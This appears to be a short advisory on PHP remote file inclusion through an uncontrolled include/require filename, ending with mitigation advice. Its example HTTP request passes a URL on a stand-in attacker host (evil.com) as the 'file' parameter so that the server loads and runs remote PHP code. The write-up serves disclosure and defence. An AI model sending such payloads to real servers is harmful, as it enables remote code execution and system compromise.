How the Exploit Works
The exploit leverages the improper control of filename for include/require statement in PHP. An attacker can manipulate the input to include/require statement and inject a malicious PHP file from a remote server. This vulnerability relies on the ability to control what file is included when a PHP include/require statement is executed. With this control, an attacker can execute arbitrary PHP code, leading to potential system compromise or data leakage.
Conceptual Example Code
A possible exploitation scenario might look like the following HTTP request:
GET /vulnerable.php?file=http://evil.com/malicious_file.php HTTP/1.1
Host: target.example.com
Accept: */*In this example, the attacker manipulates the ‘file’ parameter in the GET request to include a malicious PHP file hosted on their server (`evil.com`). When the server processes this request, it could execute the malicious PHP code, leading to potential system compromise.
Mitigation
The most effective solution is to apply the vendor patch as soon as it becomes available. If this is not immediately possible, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. These systems can be configured to block or alert on suspicious requests that attempt to exploit this vulnerability. As a long-term solution, it is recommended to review and update the security configurations and practices related to handling file inclusions in PHP.
